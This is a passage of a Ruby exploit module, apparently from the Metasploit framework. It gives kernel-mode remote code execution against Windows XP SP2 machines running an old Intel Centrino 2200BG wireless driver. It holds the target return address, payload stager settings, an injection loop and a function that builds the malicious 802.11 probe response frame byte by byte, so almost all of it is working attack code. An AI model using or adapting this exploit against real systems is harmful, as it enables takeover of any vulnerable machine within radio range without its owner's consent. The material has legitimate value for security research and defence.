This stack overflow allows remote code execution in kernel mode. The stack overflow is triggered when a 802.11 Probe response frame is received that contains multi vendor specific tag and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000 of the driver and an Intel Centrino 2200BG integrated wireless adapter. Newer versions of the w22n51.sys driver are provided from Intel to resolve this flaw. Since this vulnerability is exploited via probe response frames, all cards within range of the attack will be affected. Vulnerable clients don't need to have their card in a particular state for this exploit to work. This module depends on the Lorcon library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon documentation (external/ruby-lorcon/README) for more information. }, 'Author' => [ 'oveRet \'Giuseppe Gottardi\' MSF_LICENSE, 'Version' => '$Revision: 4529 $', 'References' => [ ['URL', 'http://www.kb.cert.org/vuls/id/524332'], ['URL', 'http://www.milw0rm.org/exploits/3158'], ['URL', 'http://overet.securitydate.it/stuff/2200BG_8.0.12.20000_drivers.zip'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 224 }, 'Platform' => 'win', 'Targets' => [ # Windows XP SP2 # 5.1.2600 (xpsp_sp2_gdr.070227-2254) [ 'Windows XP SP2 (5.1.2600), w22n51.sys 8.0.12.20000', { 'Ret' => 0x8054eb62, 'Platform' => 'win', 'Payload' => { 'ExtendedOptions' => { 'Stager' => 'sud_syscall_hook', # don't change this 'PrependUser' => "\xeb\x02" + # required jump "\x85\xe0", # fixed max len 'Recovery' => 'idlethread_restart', 'KiIdleLoopAddress' => 0x804dbb27, } } } ] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']), OptInt.new('RUNTIME', [ true, "The number of time to run the attack", 1000]), OptInt.new('DELAY', [ true, "The number of seconds to sleep between the packets", 1]), ], self.class) end def exploit open_wifi rtime = datastore['RUNTIME'].to_i dtime = datastore['DELAY'].to_i count = 0 print_status("Sending probe exploit to #{datastore['ADDR_DST']}...") print "[-] " while (count < rtime) wifi.write(create_beacon) select(nil, nil, nil, 0.10) if (count % 100 == 0) count += 1 #Exit if we get a session break if session_created? print "#" sleep(dtime) end print "\n" print_status("Completed sending probe.") end def create_beacon bssid = ("\x43" * 6) src = ("\x43" * 6) seq = [rand(255)].pack('n') fill = 0xe0 - (payload.encoded.length - 125) frame = "\x50" + # type/subtype "\x00" + # flags "\x3a\x01" + # duration eton(datastore['ADDR_DST']) + # dst src + # src bssid + # bssid seq + # seq rand_text(8) + # timestamp value "\xa0\x0f" + # beacon interval "\x31\x08" + # capability flags # ssid tag "\x00\x00" + # supported rates "\x01" + "\x01" + "\x82" + # current channel "\x03" + "\x01" + channel.chr + # fixed max len "\x85\x7b" + payload.encoded + # fill to reach e0 length ("\x41" * fill) + # vendor specific tag "\xdd" + "\x18" + "\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5\x00\x00" + "\x42\x54\xbc\x00\x62\x43\x66\x00" + # vendor specific tag "\xdd" + "\x10" + "\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07" + # RET address [target['Ret']].pack('V') return frame end end end
